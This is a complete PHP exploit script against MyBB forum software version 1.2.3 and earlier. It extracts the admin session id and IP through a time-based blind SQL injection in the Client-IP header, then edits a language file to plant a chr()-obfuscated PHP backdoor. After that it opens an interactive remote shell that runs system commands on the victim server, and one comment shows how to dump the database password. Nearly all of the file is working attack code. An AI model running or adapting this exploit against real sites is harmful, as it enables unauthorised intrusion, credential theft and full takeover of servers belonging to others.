#!/usr/bin/php
<?php
/**
 * This file require the PhpSploit class.
 * If you want to use this class, the latest
 * version can be downloaded from acid-root.new.fr.
 **/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);

# http://www.milw0rm.com/exploits/2012
# They corrected (not all) a lot of SQL requests which use the ipaddress, with $db->escape_string.
# They don't corrected the function (this is a choice ... the bad) and they forgot to correct 1 (only) SQL request.
# They must correct the problem at the source =)
#
if($argc < 3)
{
print("
---  MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit  ---
-----------------------------------------------------------------------
PHP conditions: none
       Credits: DarkFig <gmdarkfig@gmail.com>
           URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
  Usage: $argv[0] -url http://victim.com/ [Options]
 Params: -url       For example http://victim.com/myBB/
Options: -debug     Debug mod activated (debug_mybb.html)
         -truetime  Server response time which returns true
         -benchmark You can change the value used in benchmark()
         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
         -proxyauth Basic authentification <proxyuser:proxypwd>
   Note: If you have some problems use -debug, -benchmark, -truetime
-----------------------------------------------------------------------
");exit(1);
}

$url       = getparam('url',1);
$debug     = (getparam('debug')!='')     ? 1 : 0;
$benchmark = (getparam('benchmark')!='') ? getparam('benchmark') : '1000000';
$proxy     = getparam($proxy);
$proxyauth = getparam($proxyauth);

$backdoor  = 'uploads/avatars/backdoor.php'; # inc/cache/backdoor.php
$filetoed  = 'index.lang.php';

$xpl = new phpsploit();
$xpl->agent('Firefox');
if($proxy) $xpl->proxy($proxy);
if($proxyauth) $xpl->proxyauth($proxyauth);
if($debug) debug(1);

# There is two solutions to be logged in as administrator.
#
# SOLUTION NUMBER 1
# mysql> select * from mybb_users\G
# *************************** 1. row ***************************
#              uid: 1
#         username: root
#         password: 39ac8681f5cf4fcd9c9c09719a618bd3
#             salt: BFeJBOCF
#         loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA...
#
# $xpl->post($url.'admin/index.php','username=root&password=toor&do=login&goto=');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
# 
# SOLUTION NUMBER 2
# mysql> select * from mybb_adminsessions\G
# *************************** 1. row ***************************
#        sid: 81e267263b9254f3aaf670383bfbfec9
#        uid: 1
#   loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA
#         ip: 127.0.0.1
#   dateline: 1175443967
# lastactive: 1175444369
#
# $xpl->addheader('Client-IP','127.0.0.1');
# $xpl->get($url.'admin/index.php?adminsid=81e267263b9254f3aaf670383bfbfec9');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
#
# I decided to use the solution number 2.
# We can also add an administrator (easily) ... but it's not interesting.
#
print "\nAdmin IP : "; $ip  = sql_inject('ip');
print "\nAdmin sid: "; $sid = sql_inject('sid');
print "\nTrying to be logged in as administrator";

$xpl->addheader('Client-IP',$ip);
$xpl->get($url."admin/languages.php?adminsid=$sid");

# Trying to find the language
if(preg_match('#<input type="hidden" name="lang" value="(\S*)"#',$xpl->getcontent(),$langmatches)) $lang=$langmatches[1];
else $lang='english';
print "\nLanguage: $lang";

# Language configuration
$xpl->get($url."admin/languages.php?adminsid=$sid&action=edit&lang=$lang&editwith=0&file=$filetoed");
preg_match_all('#name="(.*)">(.*)</textarea>#',$xpl->getcontent(),$name_value);

# We can't use:
# - <? OR <?php
# - <script language="php">
# - ' OR "
#
$PHPCODE = '${${error_reporting(0)}}'
          .'${${$handle=fopen('.chrit('./'.$backdoor).','.chrit('w').')}}'
          .'${${fwrite($handle,'.chrit('<?php error_reporting(0);eval($_SERVER[HTTP_SHELL]);exit(0); ?>').')}}'
          .'${${fclose($handle)}}';
$name_value[2][0] .= $PHPCODE;

$postdata=array(frmdt_url => $url.'admin/languages.php',
               "adminsid" => $sid, "action" => "do_edit",
               "lang" => $lang, "editwith" => 0,
               "inadmin"=> 0, "file"=> $filetoed,
               "Update Language Variables"=>"  Update Language Variables");

for($i=0;$i<count($name_value[1]);$i++)	$postdata[html_entity_decode($name_value[1][$i])] = html_entity_decode($name_value[2][$i]);

# print $xpl->showlastrequest();
$xpl->formdata($postdata);

# Trying to execute the php code
$xpl->get($url.'index.php');

# If not the default language
$xpl->get($url.'inc/languages/'.$lang.'/'.$filetoed);
print "\nThe php file should be created\n\$shell> ";

# Hello master
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
    # ');include('../../inc/config.php');print $config['password'];//
    $xpl->addheader('Shell',"system('$cmd');");
    $xpl->get($url.$backdoor);
    print $xpl->getcontent()."\n\$shell> ";
}

function sql_inject($field)
{
	global $xpl,$url,$prefix,$debug,$result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
	$sub=0;$string='';
	
	if($field=='ip') {$a='44';$b='57';} # . 0-9
	else {$a='46';$b='70';}             # 0-9 A-Z
	
	while(TRUE)
	{
		$sub++;
		for($i=$a;$i<=$b;$i++)
		{
			# Random ip
			$fakeip = rand(128,254).'.'
			         .rand(128,254).'.'
			         .rand(128,254).'.'
			         .rand(128,254);

			# Calculation of the server response time which returns TRUE
			if($i==$a) $f='TST';
			
			# End of the string ?
			elseif($i==($a+1)) $f='NULL';
			
			# Test the char
			else $f=$i;
			
			# Table prefix
			if($sub==1 AND $i==$a)
			{
				$xpl->addheader('Client-IP',$fakeip."'<script>alert(666)</script>");
				$xpl->get($url.'index.php');

				if(preg_match("#DELETE FROM (\S*)sessions#i",$xpl->getcontent(),$match)) $prefix=$match[1];
				else $prefix='mybb_';
			}

			# +-class_session.php (#2)
			# |
			# 475.	function create_session($uid=0)
			# 476.	{
			# 477.		global $db;
			# 478.		$speciallocs = $this->get_special_locations();
			# 479.
			# 480.		// If there is a proper uid, delete by uid.
			# 481.		if($uid > 0)
			# 482.		{
			# 483.			$db->delete_query(TABLE_PREFIX."sessions", "uid=".$uid);
			# 484.			$onlinedata['uid'] = $uid;
			# 485.		}
			# 486.		// Else delete by ip.
			# 487.		else
			# 488.		{   // $this->ipaddress = get_ip();
			# 489.			$db->delete_query(TABLE_PREFIX."sessions", "ip='".$this->ipaddress."'");
			# 490.			$onlinedata['uid'] = 0;
			# 491.		}
			#
			$sql  = $fakeip."' OR ip=(SELECT IF(SUBSTR(";
			$sql .= ($f=='TST') ? "(SELECT 1)" : "(SELECT $field FROM ${prefix}adminsessions ORDER BY lastactive DESC LIMIT 1)";
			$sql .= ($f=='TST') ? ",1" : ",$sub";
			$sql .= ($f=='TST') ? ",1)=CHAR(49)" : ",1)=CHAR($f)";
			$sql .= ",BENCHMARK($benchmark,CHAR(66)),1)) #";


			# +-functions.php (#1)
			# |
			# 1836. function get_ip()
			# 1837. {
			# 1838.	if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
			# 1839.	{
			# 1840.		if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses))
			# 1841.		{
			# 1842.			foreach($addresses[0] as $key => $val)
			# 1843.			{
			# 1844.				if(!preg_match("#^(10|172\.16|192\.168)\.#", $val))
			# 1845.				{
			# 1846.					$ip = $val;
			# 1847.					break;
			# 1848.				}
			# 1849.			}
			# 1850.		}
			# 1851.	}
			# 1852.	if(!isset($ip))
			# 1853.	{
			# 1854.		if(isset($_SERVER['HTTP_CLIENT_IP']))
			# 1855.		{
			# 1856.			$ip = $_SERVER['HTTP_CLIENT_IP'];
			# 1857.		}
			# 1858.		else
			# 1859.		{
			# 1860.			$ip = $_SERVER['REMOTE_ADDR'];
			# 1861.		}
			# 1862.	}
			# 1863.	return $ip;
			# 1864. }
			#
			$bef = time();
			$xpl->reset('header');
			$xpl->addheader('Client-IP',$sql);
			$xpl->get($url.'index.php');
			$aft = time();
			
			if($f=='TST') $truetime=$aft-$bef;
			if(getparam('truetime')!='') $truetime=getparam('truetime');
			
			# Server response time >= Server response time which returns TRUE ?
			$restime = $aft-$bef;
			if($restime >= $truetime AND $f != 'TST') $result='TRUE';
			else $result='FALSE';

			# Debug mode activated
			if($debug) debug('',$field);
			
			# The tested char returns TRUE
			if($result=='TRUE')
			{
				if($f!='NULL')
				{
					# Continue
					print strtolower(chr($f));
					$string .= chr($f);
					break;
				}
				else
				{
					# End of the string
					$xpl->reset('header');
					return $string;
				}
			}
			
			# Retry if no char found
			if($f==$b) $sub--;
		}
	}
}

function debug($init='',$dafield='')
{
	global $result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
	if($init)
	{
		$handle = fopen("debug_mybb.html","w+");
		$data = "<h1><div align='center'>MyBulletinBoard (MyBB) &lt;= 1.2.3 Code Execution Exploit</div></h1>
		<pre><table width='0' border='1' align='center' cellspacing='0'><tr>
		<td align='center'><b>REQUEST TIME</b></td>
		<td align='center'><b>RESPONSE TIME</b></td>
		<td align='center'><b>TRUETIME</b></td>
		<td align='center'><b>BENCHMARK</b></td>
		<td align='center'><b>RESULT</b></td>";
		# <td align='center'><b>IP</b></td>
		$data .= "<td align='center'><b>FIELD</b></td>
		<td align='center'><b>CHARSET</b></td>
		<td align='center'><b>SUBSTR()</b></td>
		<td align='center'><b>ORD()</b></td>
		<td align='center'><b>CHAR()</b></td>";
		fwrite($handle,$data);
		fclose($handle);
	}
	else
	{
		$handle = fopen("debug_mybb.html","a");
		$data   = "<tr".(($result=='TRUE') ? " bgcolor='#FFFF00'" : "").">
		<td align='center'>&nbsp;".htmlentities($bef)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities($aft)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities($truetime)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities($benchmark)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities($result)."&nbsp;</td>";
		# <td align='center'>&nbsp;".htmlentities($fakeip)."&nbsp;</td>
		$data .= "<td align='center'>&nbsp;".htmlentities($dafield)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities("$a-$b")."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities($sub)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities($f)."&nbsp;</td>
		<td align='center'>&nbsp;".htmlentities(chr($f))."&nbsp;</td></tr>";
		fwrite($handle,$data);
		fclose($handle);
	}
}

function chrit($string)
{
	$char = '';
	for($i=0;$i<strlen($string);$i++)
	{
		$char .= 'chr('.ord($string[$i]).')';
		$char .= ($i != (strlen($string)-1)) ? '.' : '';
	}
	return $char;
}

function getparam($param,$opt='')
{
	global $argv;
	foreach($argv as $value => $key)
	{
		if($key == '-'.$param) {
		   if(!empty($argv[$value+1])) return $argv[$value+1];
		   else return 1;
		}
	}
	if($opt) exit("\n-$param parameter required");
	else return;
}
?>